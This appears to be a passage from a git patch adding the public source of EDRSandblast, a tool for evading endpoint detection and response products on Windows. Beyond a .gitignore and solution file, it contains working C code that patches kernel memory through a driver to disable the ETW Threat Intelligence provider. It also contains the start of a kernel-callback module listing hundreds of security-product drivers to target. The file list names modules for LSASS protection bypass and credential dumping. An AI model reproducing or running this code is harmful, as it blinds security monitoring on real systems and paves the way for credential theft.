From 4bff81986b971af4ad6284b4812c0c06d8aaf7ea Mon Sep 17 00:00:00 2001 From: Maxime Meignan Date: Mon, 8 Nov 2021 09:54:05 +0100 Subject: [PATCH] Initial commit for public version Co-authored-by: Thomas Diot --- .gitignore | 356 ++++ EDRSandblast.sln | 31 + EDRSandblast/EDRBypass/ETWThreatIntel.c | 84 + EDRSandblast/EDRBypass/KernelCallbacks.c | 1850 +++++++++++++++++ EDRSandblast/EDRSandBlast.h | 34 + EDRSandblast/EDRSandblast.c | 515 +++++ EDRSandblast/EDRSandblast.vcxproj | 195 ++ EDRSandblast/EDRSandblast.vcxproj.filters | 123 ++ EDRSandblast/Includes/CredGuard.h | 12 + EDRSandblast/Includes/DriverOps.h | 26 + EDRSandblast/Includes/ETWThreatIntel.h | 29 + EDRSandblast/Includes/FileVersion.h | 11 + EDRSandblast/Includes/Globals.h | 3 + EDRSandblast/Includes/KernelCallbacks.h | 89 + .../Includes/KernelMemoryPrimitives.h | 73 + EDRSandblast/Includes/KernelPatternSearch.h | 24 + EDRSandblast/Includes/LSASSDump.h | 15 + EDRSandblast/Includes/NtoskrnlOffsets.h | 53 + EDRSandblast/Includes/PEBBrowse.h | 14 + EDRSandblast/Includes/PEParser.h | 50 + EDRSandblast/Includes/RunAsPPL.h | 88 + EDRSandblast/Includes/Undoc.h | 1155 ++++++++++ EDRSandblast/Includes/Undoc_64.h | 244 +++ EDRSandblast/Includes/UserlandHooks.h | 64 + EDRSandblast/Includes/WdigestOffsets.h | 38 + .../LSASSProtectionBypass/CredGuard.c | 170 ++ EDRSandblast/LSASSProtectionBypass/RunAsPPL.c | 106 + EDRSandblast/Userland/PEBBrowse.c | 80 + EDRSandblast/Userland/PEParser.c | 363 ++++ EDRSandblast/Userland/UserlandHooks.c | 673 ++++++ EDRSandblast/Utils/DriverOps.c | 200 ++ EDRSandblast/Utils/FileVersion.c | 70 + EDRSandblast/Utils/KernelMemoryPrimitives.c | 178 ++ EDRSandblast/Utils/KernelPatternSearch.c | 81 + EDRSandblast/Utils/LSASSDump.c | 101 + EDRSandblast/Utils/NtoskrnlOffsets.c | 44 + EDRSandblast/Utils/WdigestOffsets.c | 46 + Offsets/ExtractOffsets.py | 268 +++ Offsets/NtoskrnlOffsets.csv | 420 ++++ Offsets/WdigestOffsets.csv | 33 + Offsets/requirements.txt | 2 + README.md | 479 +++++ 42 files changed, 8490 insertions(+) create mode 100644 .gitignore create mode 100644 EDRSandblast.sln create mode 100644 EDRSandblast/EDRBypass/ETWThreatIntel.c create mode 100644 EDRSandblast/EDRBypass/KernelCallbacks.c create mode 100644 EDRSandblast/EDRSandBlast.h create mode 100644 EDRSandblast/EDRSandblast.c create mode 100644 EDRSandblast/EDRSandblast.vcxproj create mode 100644 EDRSandblast/EDRSandblast.vcxproj.filters create mode 100644 EDRSandblast/Includes/CredGuard.h create mode 100644 EDRSandblast/Includes/DriverOps.h create mode 100644 EDRSandblast/Includes/ETWThreatIntel.h create mode 100644 EDRSandblast/Includes/FileVersion.h create mode 100644 EDRSandblast/Includes/Globals.h create mode 100644 EDRSandblast/Includes/KernelCallbacks.h create mode 100644 EDRSandblast/Includes/KernelMemoryPrimitives.h create mode 100644 EDRSandblast/Includes/KernelPatternSearch.h create mode 100644 EDRSandblast/Includes/LSASSDump.h create mode 100644 EDRSandblast/Includes/NtoskrnlOffsets.h create mode 100644 EDRSandblast/Includes/PEBBrowse.h create mode 100644 EDRSandblast/Includes/PEParser.h create mode 100644 EDRSandblast/Includes/RunAsPPL.h create mode 100644 EDRSandblast/Includes/Undoc.h create mode 100644 EDRSandblast/Includes/Undoc_64.h create mode 100644 EDRSandblast/Includes/UserlandHooks.h create mode 100644 EDRSandblast/Includes/WdigestOffsets.h create mode 100644 EDRSandblast/LSASSProtectionBypass/CredGuard.c create mode 100644 EDRSandblast/LSASSProtectionBypass/RunAsPPL.c create mode 100644 EDRSandblast/Userland/PEBBrowse.c create mode 100644 EDRSandblast/Userland/PEParser.c create mode 100644 EDRSandblast/Userland/UserlandHooks.c create mode 100644 EDRSandblast/Utils/DriverOps.c create mode 100644 EDRSandblast/Utils/FileVersion.c create mode 100644 EDRSandblast/Utils/KernelMemoryPrimitives.c create mode 100644 EDRSandblast/Utils/KernelPatternSearch.c create mode 100644 EDRSandblast/Utils/LSASSDump.c create mode 100644 EDRSandblast/Utils/NtoskrnlOffsets.c create mode 100644 EDRSandblast/Utils/WdigestOffsets.c create mode 100644 Offsets/ExtractOffsets.py create mode 100644 Offsets/NtoskrnlOffsets.csv create mode 100644 Offsets/WdigestOffsets.csv create mode 100644 Offsets/requirements.txt create mode 100644 README.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d438f72 --- /dev/null +++ b/.gitignore @@ -0,0 +1,356 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Exclude downloaded kernels +Offsets/*.exe +Offsets/*.dll +/Offsets/nt +/Offsets/wd diff --git a/EDRSandblast.sln b/EDRSandblast.sln new file mode 100644 index 0000000..b30a319 --- /dev/null +++ b/EDRSandblast.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31129.286 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x64.ActiveCfg = Debug|x64 + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x64.Build.0 = Debug|x64 + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x86.ActiveCfg = Debug|Win32 + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x86.Build.0 = Debug|Win32 + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.ActiveCfg = Release|x64 + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.Build.0 = Release|x64 + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.ActiveCfg = Release|Win32 + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {01A85934-E9FB-4355-846F-667848B78EAF} + EndGlobalSection +EndGlobal diff --git a/EDRSandblast/EDRBypass/ETWThreatIntel.c b/EDRSandblast/EDRBypass/ETWThreatIntel.c new file mode 100644 index 0000000..df836ff --- /dev/null +++ b/EDRSandblast/EDRBypass/ETWThreatIntel.c @@ -0,0 +1,84 @@ +/* + +--- ETW Threat Intelligence operations. +--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider + +*/ + +#include "ETWThreatIntel.h" + +DWORD64 GetEtwThreatIntProvRegHandleAddress() { + if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) { + return 0x0; + } + + DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress(); + return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle; +} + +DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) { + if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) { + _tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n")); + return 0x0; + } + + HANDLE Device = GetDriverHandle(); + DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress(); + + DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress); + if (verbose) { + _tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress); + } + DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry); + + CloseHandle(Device); + + return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo; +} + +void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) { + DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose); + if (etwThreatInt_ProviderEnableInfoAddress == 0x0) { + return; + } + + _tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"), + enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER); + HANDLE Device = GetDriverHandle(); + WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER); + + BOOL finalState = isETWThreatIntelProviderEnabled(verbose); + if (finalState == enable) { + _tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled")); + } + else { + _tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable")); + } + + CloseHandle(Device); +} + + +void DisableETWThreatIntelProvider(BOOL verbose) { + EnableDisableETWThreatIntelProvider(verbose, FALSE); +} + + +void EnableETWThreatIntelProvider(BOOL verbose) { + EnableDisableETWThreatIntelProvider(verbose, TRUE); +} + + +BOOL isETWThreatIntelProviderEnabled(BOOL verbose) { + DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose); + + if (etwThreatInt_ProviderEnableInfoAddress == 0x0) { + return FALSE; + } + + HANDLE Device = GetDriverHandle(); + BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress); + CloseHandle(Device); + + return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER; +} \ No newline at end of file diff --git a/EDRSandblast/EDRBypass/KernelCallbacks.c b/EDRSandblast/EDRBypass/KernelCallbacks.c new file mode 100644 index 0000000..0b291e6 --- /dev/null +++ b/EDRSandblast/EDRBypass/KernelCallbacks.c @@ -0,0 +1,1850 @@ +/* + +--- Kernel callbacks operations. +--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder + +*/ + +#include "KernelCallbacks.h" + +// List of EDR drivers for which Kernel callbacks will be impacted. +// Source: https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes +// Includes all FSFilter Anti-Virus and Activity Monitor drivers. +// and : https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1 +TCHAR const* EDR_DRIVERS[] = { + /* + * FSFilter Anti-Virus - BEGIN + */ + // 360 Software (Beijing) + _T("360qpesv.sys"), + // 5nine Software Inc. + _T("5nine.cbt.sys"), + // Ahkun Co. + _T("AhkSvPro.sys"), + _T("AhkUsbFW.sys"), + _T("AhkAMFlt.sys"), + // Ahnlab + _T("V3MifiNt.sys"), + _T("V3Ift2k.sys"), + _T("V3IftmNt.sys"), + _T("ArfMonNt.sys"), + _T("AhnRghLh.sys"), + _T("AszFltNt.sys"), + _T("OMFltLh.sys"), + _T("V3Flu2k.sys"), + _T("AdcVcsNT.sys"), + // AhnLab Inc. + _T("TfFregNt.sys"), + // AhnLab, Inc. + _T("SMDrvNt.sys"), + _T("ATamptNt.sys"), + _T("V3Flt2k.sys"), + // Alwil + _T("aswmonflt.sys"), + // Anvisoft + _T("avfsmn.sys"), + // Arcdo + _T("ANVfsm.sys"), + _T("CDrRSFlt.sys"), + // Ashampoo GmbH & Co. KG + _T("AshAvScan.sys"), + // Australian Projects + _T("ZxFsFilt.sys"), + // Authentium + _T("avmf.sys"), + // AVG Grisoft + _T("avgmfx86.sys"), + _T("avgmfx64.sys"), + _T("avgmfi64.sys"), + _T("avgmfrs.sys"), + // Avira GmbH + _T("avgntflt.sys"), + // AVNOS + _T("kavnsi.sys"), + // AvSoft Technologies + _T("strapvista.sys"), + _T("strapvista64.sys"), + // AxBx + _T("vk_fsf.sys"), + // Baidu (beijing) + _T("BDFileDefend.sys"), + // Baidu (Hong Kong) Limited + _T("Bfilter.sys"), + // Baidu online network technology (beijing)Co. + _T("BDsdKit.sys"), + _T("bd0003.sys"), + // Beijing Kingsoft + _T("ksfsflt.sys"), + // Beijing Majorsec + _T("majoradvapi.sys"), + // Beijing Rising Information Technology Corporation Limited + _T("HookSys.sys"), + // Beijing Venus + _T("TxFileFilter.sys"), + _T("VTSysFlt.sys"), + // Binary Defense Systems + _T("Osiris.sys"), + // Bit9 Inc + _T("b9kernel.sys"), + // Bitdefender + _T("bdsvm.sys"), + // BitDefender SRL + _T("hbflt.sys"), + _T("vlflt.sys"), + _T("gzflt.sys"), + _T("bddevflt.sys"), + _T("ignis.sys"), + _T("AVCKF.SYS"), + _T("gemma.sys"), + _T("Atc.sys"), + _T("AVC3.SYS"), + _T("TRUFOS.SYS"), + // Bkav Corporation + _T("BkavAutoFlt.sys"), + _T("BkavSdFlt.sys"), + // BLACKFORT SECURITY + _T("bSyirmf.sys"), + _T("bSysp.sys"), + _T("bSydf.sys"), + _T("bSywl.sys"), + _T("bSyrtm.sys"), + _T("bSyaed.sys"), + _T("bSyar.sys"), + // BullGuard + _T("BdFileSpy.sys"), + // C-NetMedia Inc + _T("antispyfilter.sys"), + // CheckMAL Inc + _T("AppCheckD.sys"), + // Cheetah Mobile Inc. + _T("wdocsafe.sys"), + _T("lbprotect.sys"), + // Cisco Systems + _T("csaav.sys"), + _T("CiscoSAM.sys"), + _T("immunetselfprotect.sys"), + _T("immunetprotect.sys"), + _T("CiscoAMPCEFWDriver.sys"), + _T("CiscoAMPHeurDriver.sys"), + // CJSC Returnil Software + _T("rvsmon.sys"), + // CodeProof Technologies Inc + _T("CpAvFilter.sys"), + _T("CpAvKernel.sys"), + // Comodo Group Inc. + _T("cmdccav.sys"), + _T("cmdguard.sys"), + // Computer Assoc + _T("caavFltr.sys"), + _T("ino_fltr.sys"), + // ConeSecurity Inc + _T("CSFlt.sys"), + // Confluera Inc + _T("tbmninifilter.sys"), + // Coranti Inc. + _T("crnsysm.sys"), + _T("crncache32.sys"), + _T("crncache64.sys"), + // CoreTrace Corporation + _T("bouncer.sys"), + // CrowdStrike Ltd. + _T("csagent.sys"), + // Dakota State University + _T("EdnemFsFilter.sys"), + // Deep Instinct + _T("DeepInsFS.sys"), + // Deep Instinct Ltd. + _T("DeepInsFS.sys"), + // Digitalonnet + _T("ADSpiderDoc.sys"), + // Doctor Web + _T("drwebfwft.sys"), + _T("DwShield.sys"), + _T("DwShield64.sys"), + _T("dwprot.sys"), + // Doctor Web Ltd. + _T("Spiderg3.sys"), + // DriveSentry Inc + _T("drivesentryfilterdriver2lite.sys"), + // EasyAntiCheat Solutions + _T("easyanticheat.sys"), + // eEye Digital Security + _T("eeyehv.sys"), + _T("eeyehv64.sys"), + // Egnyte Inc + _T("egnfsflt.sys"), + // EMC + _T("ECATDriver.sys"), + // Emsi Software GmbH + _T("a2ertpx86.sys"), + _T("a2ertpx64.sys"), + _T("a2gffx86.sys"), + _T("a2gffx64.sys"), + _T("a2gffi64.sys"), + _T("a2acc.sys"), + _T("a2acc64.sys"), + // EnigmaSoft + _T("EnigmaFileMonDriver.sys"), + // ESET, spol. s r.o. + _T("eamonm.sys"), + // ESTsecurity Corp + _T("RSRtw.sys"), + _T("RSPCRtw.sys"), + // ESTsoft + _T("AYFilter.sys"), + _T("Rtw.sys"), + // ESTsoft corp. + _T("EstRkmon.sys"), + _T("EstRkr.sys"), + // ETRI + _T("vrSDetri.sys"), + _T("vrSDetrix.sys"), + // Everyzone + _T("TvMFltr.sys"), + // EveryZone Inc. + _T("IProtect.sys"), + // EveryZone INC. + _T("TvFiltr.sys"), + _T("TvDriver.sys"), + _T("TvSPFltr.sys"), + _T("TvPtFile.sys"), + // f-protect + _T("fpav_rtp.sys"), + // f-secure + _T("fsgk.sys"), + // Filseclab + _T("fildds.sys"), + // Fortinet Inc. + _T("FortiAptFilter.sys"), + _T("fortimon2.sys"), + _T("fortirmon.sys"), + _T("fortishield.sys"), + // Fujitsu Social Science + _T("wscm.sys"), + // FXSEC LTD + _T("pfkrnl.sys"), + // G Data + _T("HookCentre.sys"), + _T("PktIcpt.sys"), + _T("MiniIcpt.sys"), + // GAS Tecnologia + _T("GbpKm.sys"), + // Greatsoft Corp.Ltd + _T("vcdriv.sys"), + _T("vcreg.sys"), + _T("vchle.sys"), + // GRGBanking Equipment + _T("SECOne_USB.sys"), + _T("SECOne_Proc10.sys"), + _T("SECOne_REG10.sys"), + _T("SECOne_FileMon10.sys"), + // GridinSoft LLC + _T("gtkdrv.sys"), + // HAURI + _T("VrARnFlt.sys"), + _T("VrBBDFlt.sys"), + _T("vrSDfmx.sys"), + _T("vrSDam.sys"), + _T("VrAptDef.sys"), + _T("VrSdCore.sys"), + _T("VrFsFtM.sys"), + _T("VrFsFtMX.sys(AMD64)"), + _T("vradfil2.sys"), + // HAURI Inc. + _T("VRAPTFLT.sys"), + // Hidden Reflex + _T("epicFilter.sys"), + // Hitachi Solutions + _T("hsmltwhl.sys"), + _T("hssfwhl.sys"), + // HSM IT-Services Gmbh + _T("oavfm.sys"), + // Huorong Security + _T("sysdiag.sys"), + // IBM + _T("issregistry.sys"), + // IKARUS Security + _T("ntguard.sys"), + // Imperva Inc. + _T("mfdriver.sys"), + // INCA Internet Co. + _T("npxgd.sys"), + _T("npxgd64.sys"), + _T("tkpl2k.sys"), + _T("tkpl2k64.sys"), + _T("GKFF.sys"), + _T("GKFF64.sys"), + _T("tkdac2k.sys"), + _T("tkdacxp.sys"), + _T("tkdacxp64.sys"), + _T("tksp2k.sys"), + _T("tkspxp.sys"), + _T("tkspxp64.sys"), + // INCA Internet Co., Ltd + _T("tkfsft.sys"), + _T("tkfsft64.sys"), + _T("tkfsavxp.sys"), + _T("tkfsavxp64.sys"), + // Individual developer (Soft3304) + _T("AntiLeakFilter.sys"), + // IObit Information Tech + _T("IMFFilter.sys"), + // ISS + _T("issfltr.sys"), + // K7 Computing Private Ltd. + _T("K7Sentry.sys"), + // Kaspersky + _T("klbg.sys"), + _T("kldback.sys"), + _T("kldlinf.sys"), + _T("kldtool.sys"), + _T("klif.sys"), + // Kaspersky Lab + _T("klam.sys"), + _T("klif.sys"), + // KINGSOFT + _T("dgsafe.sys"), + // knowwheresoft Ltd + _T("securoFSD_x64.sys"), + // Komoku Inc. + _T("kmkuflt.sys"), + // Lavasoft AB + _T("lbd.sys"), + // Leith Bade + _T("cwdriver.sys"), + // Lenovo + _T("lnvscenter.sys"), + // Lightspeed Systems Inc. + _T("SAFsFilter.sys"), + // Malwarebytes Corp. + _T("FlightRecorder.sys"), + _T("mbam.sys"), + // MastedCode Ltd + _T("fsfilter.sys"), + // Max Secure Software + _T("MaxProc64.sys"), + _T("MaxProtector.sys"), + _T("maxcryptmon.sys"), + _T("SDActMon.sys"), + // McAfee Inc. + _T("epdrv.sys"), + _T("mfencoas.sys"), + _T("mfehidk.sys"), + _T("swin.sys"), + // Meidensha Corp + _T("WhiteShield.sys"), + // Microsoft + _T("WdFilter.sys"), + _T("mpFilter.sys"), + // MicroWorld Software Services Pvt. Ltd. + _T("mwfsmfltr.sys"), + // NeoAutus + _T("NeoKerbyFilter"), + // Netlor SAS + _T("KUBWKSP.sys"), + // NetSecurity Corp + _T("trfsfilter.sys"), + // NHN + _T("nsminflt.sys"), + _T("nsminflt64.sys"), + // Norman + _T("nvcmflt.sys"), + // Norman ASA + _T("nprosec.sys"), + _T("nregsec.sys"), + // Novatix Corporation + _T("NxFsMon.sys"), + // NPcore Ltd + _T("FileScan.sys"), + // Odyssey Cyber Security + _T("ODFsFimFilter.sys"), + _T("ODFsTokenFilter.sys"), + _T("ODFsFilter.sys"), + // OKUMA Corp + _T("ospfile_mini.sys"), + // OnMoon Company LLC + _T("acdrv.sys"), + // Palo Alto Networks + _T("CyvrFsfd.sys"), + // Panda Security + _T("PSINPROC.SYS"), + _T("PSINFILE.SYS"), + _T("amfsm.sys"), + _T("amm8660.sys"), + _T("amm6460.sys"), + // Panda Software + _T("NanoAVMF.sys"), + _T("shldflt.sys"), + // Panzor Cybersecurity + _T("pavdrv.sys"), + // Paretologic + _T("PLGFltr.sys"), + // PC Tools Pty. Ltd. + _T("PCTCore64.sys"), + _T("PCTCore.sys"), + _T("ikfilesec.sys"), + // Perfect World Co. Ltd + _T("PerfectWorldAntiCheatSys.sys"), + // PerfectWorld Ltd + _T("PWProtect.sys"), + // PerSystems SA + _T("pervac.sys"), + // Pooyan System + _T("RanPodFS.sys"), + // PWI, Inc. + _T("pwipf6.sys"), + // Qihoo 360 + _T("dsark.sys"), + _T("360avflt.sys"), + // Quick Heal Technologies Pvt. Ltd. + _T("snsrflt.sys"), + _T("bdsflt.sys"), + _T("arwflt.sys"), + // Quick Heal TechnologiesPvt. Ltd. + _T("ggc.sys"), + _T("catflt.sys"), + // ReaQta Ltd. + _T("reaqtor.sys"), + // Redstor Limited + _T("RsFlt.sys"), + // refractionPOINT + _T("hcp_kernel_acq.sys"), + // REVE Antivirus + _T("ReveFltMgr.sys"), + _T("ReveProcProtection.sys"), + // S.N.Safe&Software + _T("snscore.sys"), + // Sangfor Technologies + _T("sfavflt.sys"), + // Savant Protection, Inc. + _T("savant.sys"), + // Scargo Inc + _T("si32_file.sys"), + _T("si64_file.sys"), + // SECUI Corporation + _T("sciptflt.sys"), + _T("scifsflt.sys"), + // SecuLution GmbH + _T("ssvhook.sys"), + // SecureAge Technology + _T("sascan.sys"), + // SecureBrain Corporation + _T("mscan-rt.sys"), + // SecureLink Inc. + _T("zwPxeSvr.sys"), + _T("zwASatom.sys"), + // Securitas Technologies,Inc. + _T("NovaShield.sys"), + // SecurityCoverage, Inc. + _T("SCFltr.sys"), + // Segira LLC + _T("SegiraFlt.sys"), + // Segurmatica + _T("SegMD.sys"), + _T("SegMP.sys"), + _T("SegF.sys"), + // Sequretek IT + _T("KawachFsMinifilter.sys"), + // SGA + _T("EPSMn.sys"), + // SGRI Co., LTD. + _T("vcMFilter.sys"), + // SheedSoft Ltd + _T("SheedAntivirusFilterDriver.sys"), + // Shenzhen Tencent Computer Systems Company Limited + _T("TSysCare.sys"), + _T("TFsFlt.sys"), + // Softwin + _T("bdfsfltr.sys"), + _T("bdfm.sys"), + // Sophos + _T("SophosED.sys"), + _T("SAVOnAccess.sys"), + _T("savonaccess.sys"), + _T("sld.sys"), + // SpellSecurity + _T("spellmon.sys"), + // Sybonic Systems Inc + _T("THFilter.sys"), + // symantec + _T("eeCtrl.sys"), + 